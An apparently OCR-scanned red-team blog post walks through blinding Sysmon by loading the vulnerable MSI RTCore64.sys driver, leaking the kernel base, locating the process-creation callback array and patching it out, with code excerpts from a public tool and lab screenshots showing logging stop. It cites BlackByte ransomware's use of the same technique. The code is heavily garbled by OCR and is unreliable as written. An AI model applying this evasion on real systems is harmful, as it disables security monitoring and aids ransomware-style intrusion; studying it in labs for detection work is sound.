An Operators guide to the galaxy
Or how stopped worrying and
learned to love the kernel

| want to preface this by stating that | am very much a noob. | have been fascinated
with Threat Emulation methodologies over the past two years. Recently | have become
a bit obsessed with drivers. | set up my first ever Red Team detection lab utilizing
sysmon and wazuh. | realized, staying silent is nearly impossible. Blending in is the best
option. I didnt like this feeling of defeat. As | dove deeper into my studies, | found a
really really good way to defeat these solutions was drivers. | used to think, “Who cares
about rings? | dont need kernel access to compromise a device.” | was VERY wrong.
Now, | want to quote Rasta here, but | also want to say, go buy his Red Team
Operations course, and his offensive driver development course, buy all of them. The
content has been invaluable to my growth and has supercharged my curiosity, and
supplied me with the tools needed to chase that curiosity with proper research.

“Windows drivers are able to register callback routines in the kernel, which are triggered
when particular events occur. These can include process and thread creation, image
loads and registry operations.” - CRTL, Rasta Mouse.

Now, you can see why a lot of EDR/AV solutions would rely on the kernel callback table
for recognizing potentially malicious events.

Queue APT’s and Bring Your Own Driver (BYOD)
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f ¥ X in CYBERCAST
MSI driver vulnerability leveraged in o
new BlackByte attacks

The BlackByte ransomware group has commenced a Bring Your Own Vulnerable Driver

attack leveraging an MSI Afterburner RTCore64.sys driver flaw, tracked as CVE-2019- CYBERCAST
K Part 2: Endle
16098, BleepingComputer reports. str::tegyfor
ON-DEMAND E

Exploiting the MSI graphics driver enables easy access to I/0 control codes, which could
then be used by threat actors to facilitate code reading, writing, and execution in kernel
memary even without an exploit or shellcode, a Sophos report revealed. After
determining the kernel version with the proper offsets for the kernel ID, BlackByte
proceeds to deploy RTCore64.sys in "AppDataRoaming" to create a new service with
hardcoded display names. The report also showed that the flaw is then leveraged to
enable the removal of Kernel Notify Routines, while fetched callback addresses are
then compared with a list of 1,000 targeted drivers. BlackByte has also been monitoring
hooking DLLs by Avast, Windows DbgHelp Library, Comodo Internet Security, and
Sandboxie to evade detection, added researchers. The findings come after a similar
BYOVD method was deployed by Lazarus in recent attacks exploiting a Dell driver.

There have been quite a few vulnerable drivers that have been exploited in the past
years. For the sake of learning, | chose the same one used by BlackByte, MSI’'s
RTCore64.sys.

| went through quite a few peoples PoC'’s of this. Alot were done shakily. Some required
python scripts to check for the bytes occuring before jmnp

pspsetxoxnotifyroutine depending on the version of ntoskrnl.exe. These values can differ
across windows versions. The most advanced in this space was a project from an
individual by the name of lawiet47. It was able to do all of the legwork for us.

Lets dive into some of the code:
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97  HANDLE GetDriverHandle() {

99 HAMDLE Device = CreateFileW{LR"(%\.\RTCore&4)", GENERIC_READ | GEMERIC_WRITE, @, @, OPEM_EXISTING, @, @);
108 if (Device == INVALID_HANDLE_VALUE) {

181 std::cout << "Unable to obtain a handle to the device object: " << GetlLastError() << std::endl;

102 ExitProcess(@};

183

124 return Device;

185

1a ¥

Nothing to special going on here. The code is utilizing CreateFileW function to grab a
handle to the driver we have installed (RTCore64.sys) and then setting read/write
permissions so that we can patch over the existing entries in the callback table.

FindiernelBaseAddr() {
cb = 8;
) drivers[1624];

if (EnumDeviceDrivers(drivers, (drivers), &cb)) {
return ( rivers[8];

return NULL ;

This piece of code is utilizing the EnumDeviceDrivers function to leak the kernel base
address.
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VOID SearchAndPatch{DWORDE4 routineva, DWORD&4 driverCount, LPVOID drivers2, BOOL Patch) {

HANDLE Device = GetDriverHandle();

DHORDE4 innerRoutinefddress = 8;

// ©x2@ instructions is enough length to search for the first jmp
// Look for the
/f NOTE:

"jmp nt!PspSet)0ONotifyRoutine”

This is not reliable. As some versions of windows doesn't have branch into PspXdXNotifyRoutines with call/jump instructions

/f But below extensive check work just fine

for @x98,8xc3,8xcc bytes should

/f YES, the piece of code below is fucked up I agree. But it works. (fingers crossed)
for (DMORD&4 i = @; i < @x2@; i++) {
DWORDG4 nextaddr =
BYTE bytel = ReadMemoryBYTE(Device, nextaddr);

DWORDE4L decideBytes = ReadMemoryDWORDGEL(Device,

routineva + i;

nextaddr + 5);

if
(bytel == @xe? || bytel == @xed) && (
{decideBytes & @ £f) == B 3]
(decideBytes & @ £f) == B c ||
(decideBytes & @ £f) == B Il
(decideBytes & @ £FfE@) == @ zee ||
(decideBytes & @ £FfE@) == @ cee ||
(decideBytes & @ £FfE@) == @ Il
(decideBytes & @ £f203) == @ 3aeae ||
(decideBytes & @ £fa203) == @ cagae ||
(decideBytes & @ £fa203) == @ Il
{decideBytes & @ f == I
{decideBytes & @ f == c I
(decideBytes & @ f == Il
{decideBytes & @ f == I
{decideBytes & @ f == c I
(decideBytes & @ f == Il
(decideBytes & OxP0ORFFOACOPE0RA) == ExCAOBC30000220200 ||
(decideBytes & OxP0ORFFOACOPEERA) == ExEAOBCCAIRAR20RO0 ||
(decideBytes & 0xODOGFO0GO000000) == OxOODAODAGBAGEACEE ||
(decideBytes & OxPEFfO00000PE0RA) == Ex0AC3000000220200 ||
(decideBytes & OxPEFfO0B0C0PE0RA) == Ex0AcCOCRIEO220R00 ||

Again, they did a good job with their comments. Were just kind of brute forcing the byte
sequences in hopes that something matches. 20 has been a perfect length and hasn’t
given me any issues on windows 10, windows server 2019 or windows server 2016.

DWORDE4 callbackArrayiddress;
PVDID* drivers = (PVDID*){drivers2);
for (DHORDGE4 i = @) i < @x28@; i++) {
DWORDEL nextaddr = innerRoutinefddress + 1)
BYTE bytel = ReadMemoryBYTE(Device, nextaddr);
BYTE byte2 = RezdMemoryBYTE(Device, nextaddr + 1)
if {(bytel == 8xdc || bytel == Bx48) && byte? == 8x8d) {
DWORD jmp_offset = ReadMemoryDWORD(Device, nextaddr + 3);
/{ Address of lea instruction + the extracted relative jmp address + 7 byte padding of the relative lea instruction
J/f Address of lea iz shifted to the right and then left to prevent overflowing in signed addition
({({nextaddr) »» 32) << 32) + ((DWORD)(nextaddr)+jimp_offset) + @x7;
std:icout << "[*] Callback Array for: " << routineva << std::hex << " -»> " <¢ callbackfrrayAddress << ctd::endl;

callbackArrayAddress =

Now were taking the kernel address that we leaked earlier, and the byte code arrays
that we calculated, and checking them against the byte pattern that occurs before the
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jmp instruction.

If the conditions match jmp nt!PspSetXXXXNotifyRoutine, well grab the name of the
driver, and patch the callbacks.

Okay, enough code.

| did not have any way of really getting a driver loaded EDR solution. | had to go with a
Sysmon related solution. | want to thank the Spectre Ops Team along with jsecurity101.
They really did a great job with reverse engineering sysmon and correlating event ID’s
to kernel callbacks.

A B C D
API I Event Registration Mechanism Data Sensor Event ID
CreateProcess PsSetCreateProcessNotifvRoutine Sysmon 1

CreateProc Jser PsSetCreateProcessNotifyRoutine Sysmeon 1

CreateProc thToken PsSetCreateProcessNotifvRoutine Sysmon 1
CreateProcessWithl ogon PsSetCreateProcessNotifyRoutine Sysmon 1
CreateProcessInternal PsSetCreateProcessNotifvRoutine Sysmon 1
SetFileTime FltRegisterFilter(registers a minifilter) Sysmon 2
None NT Kermnel Logger Provider - Under the SYSMON_TRACE trace session - Spec: Sysmon 3
ExitThread PsSetCreateProcessNotifyRoutine Sysmon 5
ExitProcess PsSetCreateProcessNotifvRoutine Sysmon 5
NtMapViewOfSection PsSetloadlmageNotifyRoutine Sysmon [}
LoadLibrary PsSetl oadlmageNotifyRoutine Sysmon 6
Imageload PsSetl oadlmageNotifyRoutine Sysmon 7
NtMapViewOfSection PsSetloadlmageNotifyRoutine Sysmon 7
LoadLibrary PsSetl oadlmageNotifyRoutine Sysmon 7
CreateRemoteThread PsSetCreateThreadNotifvRoutine Sysmon 8
RtlCreateUser Thread PsSetCreateThreadNotifyRoutine Sysmon 8

For brevity, im going to use runas to start cmd.exe and show the events in Event
Viewer.

starting the vulnerable driver and launching cmd with runas:
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CiyUsers\Administrator>sc start RTCorecd

SERVICE_MNAME: RTCoretd
TYPE HE KERMEL DRIWVER

STATE : 4 RUMNING
L STOPPABLE, NOT_PAUSABLE,

WINZZ_EXIT_CC
SERVICE EXIT

SERVICE_MAME:

LE, WOT_PAUSABLE, IGNORES_SHUTDOWN)

Now we can see clear as day that sysmon was able to log our process creation event.
Us using runas.exe to start the cmdline as another user. We also know from
SpectreOps and jsecurityl01 that event ID 1 in sysmon correlates to the
PsSetCreateProcessNotifyRoutine. Lets see if we can get rid of that.
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4] Event Viewer

File Action View Help

ke H
RO DU I Operational  Number of events: 16,923 () New events available
StorsgeManagen | omm—— e
StorageSpacesd || Level Date and Time - EventID Task Cate.,
StorageSpaces-M i) Information 2/18/2023 11:50.06 PM Sysmon 13 Registryv..
StorageSpaces-$; i
StorDiag (
Store 1) Information 2/19/2023 11:49.47 PM Sysmen 13 Registry vi..
StorPort i) Information 2/19/2023 11:49.46 PM Sysmen 13 Registry v
v [ Sysmon i) Information 2/19/2023 11:49:46 PM Sysmon 13 Registryv...
L] Operational i) Information 2/19/2023 11:48:46 PM Yysmon 12 Registry o.
SystemSettings Tt -
TaskScheduler Event 1, Sysmon
TCPIP
TerminalServices General  Details
T e
TerminalServices Company: Microsoft Corporation ~
TerminalServices OriginalF ileName: RUNAS,EXE
T Services CommandLine: runas fprofile fusernaghastlocaibabby cmd %——
erminaloen CurrentDirectory: C:\Users\Administrator\
TerminalServices User: SRVI\Administrator
TerminalServices LogonGuid: {fe328dfa-bdb3-6372-59s 090000000000}
TerminalServices Logonld: B<994E5
Tzyne TerminalSessionld: 2
T IntegrityLevel: High
! Hashes: SHA1=T181F78D092D DAF 06D 83646322852 6F C FA0E 1 EF7,MD5 =04435 26D 77C0CA62251 TR 6EBAGAID 1E2, SHAZS6=06DD3C 38BFATD 2FAAED DEBC27C 3AEB 1D 325F QESG6AEQD0308B06F 6214DD CA9E IMPHASH=
uac 80758AD05FE 7510EDA0CSDADD 1BFES03 v
UAC-FileVirtualiz
Ul-Search Log Name: Microsoft-Windows-Sysmon/Operational
UniversalTelermet Source: Sysmon Logged: 271972023 11:50:02 PM
User Conttrol Pan Event ID: 1 Task Category: Process Create (rule: ProcessCreate)
User Device Regis Level: Information Keywords:
| User Profile Servi " SysTem oot T ronhostiocal
User-Loader ser: s omputer:  srvlnoghostloca
UserPnp OpCode: Info
VDRVROOT More Information:  Event Log Online Help
VerifyHardwareSt
< >

First lets list what drivers are loaded with our newest tool:

S5¥s + J.L|l'--'l]-l:."J
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Its apparent that the Sysmon driver is installed. Lets take care of that.

otifyRoutine: aledSl4c
diotifyRoutine: fff{ 1aidde3be
: Bredd

ffff180e5395d4408-> [ahcache.sys

Now, we need to be sure that we've successfully removed the kernel callback. I'm
going to try the exact same command with runas as | used before.

tor: Cormman d Prorapt - [m} X
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Lets refresh our event viewer and see if the behaviour was flagged as it was before.

4 EventViewer
File Action View Help

L ARa) o] 7 lo:!

G LRI Operational  Mumber of events: 17,049

: 2:::;:2;::?_? Lewvel Date and Time Source Event|D Task Cate...

| StorageSpaces-N 1 Information 2/19 1:57:10 PM Sysmon 2 Registry o...

| StorageSpaces-§ () Information 2/19/2023 11:57.09 PM Sysmon 12 Registry o...

© StorDiag @Infonnahon 2/19/2023 11:57:01 PM Sysmon 13 Registry v,

| Store (i) Information 2/19/2023 11:57:01 PM Sysmon 13 Registry ..

| StorPort (i) Information 2/19/2023 11:57:.01 PM Sysmon 12 Registry o...
v L Sysmon ®Infan‘nat|on 2/19/2023 11:57:01 PM Sysrnon 13 Registry v...

1] Operational (i) Information 2/19/2022 11:57.01 PM Sysmon 12 Registry o...

- SystemSettingsTh | (9 information 2/19/2023 11:57:01 PM Sysrmon 13 Registryv...

J TaskScheduler (@ Information 2/19/2003 11:57.01 PM Sysrnon 12 Registry o..

§ TCPIP (Dinformation  2/19/2023 11:57:01 PM Sysmon 13 Registry v

1:3::::2::2:2 (D Information 2/19/2023 11:57:01 PM Sysmon 12 Registry o..

- @Infon‘nmon 2/19/2023 11:57:01 PM Sysmon 13 Registry v,

_ TerminalServices p— X

| TerminalServices (i) Information 2/19/2023 11:57.01 PM Sysmon 12 Registry o..,

J Terminal Services: Event 12, Sysmon

TerminalServices:

 TerminalServices General  Details

_ TerminalServices

_ TZ8nc Registry object added or deleted:

L TZUM RuleMame: technique_id=T1543,technique_name=Service Creation

©LAC EvenFType:CreateKey

. UAC_F”e\‘rlrtua"z e Tirne 20290210 22.57.110 220

" Ul-Search Log Name: Microsoft-Windows-Sysmon/Operational

~ UniversalTelemet Source: Sysmon Logged: 2/19/2023 11:57:10 PM

J User Control Pan Event D: 12 Task Category: Registry object added or deleted (rule: RegistryEvent)

- UserDevi.ce Reg\l: Level: Information Keywords:

_ User Profile Servii

* User-Loader User: SYSTEM Computer: svl.neghest.local

" UserPnp OpCode: Info

© WDRWROOT Mare Information; i ine Hel

~ WerifyHardwareSe o

Nothing. We have successfully patched over the kernel callback table. our process
creation events are non-existent.

Sources:

https://github.com/jsecurity101/TelemetrySource

https://github.com/lawiet47/STFUEDR

https://training.zeropointsecurity.co.uk/

https://redcursor.com.au/bypassing-lsa-protection-aka-protected-process-light-without-
mimikatz-on-windows-10/
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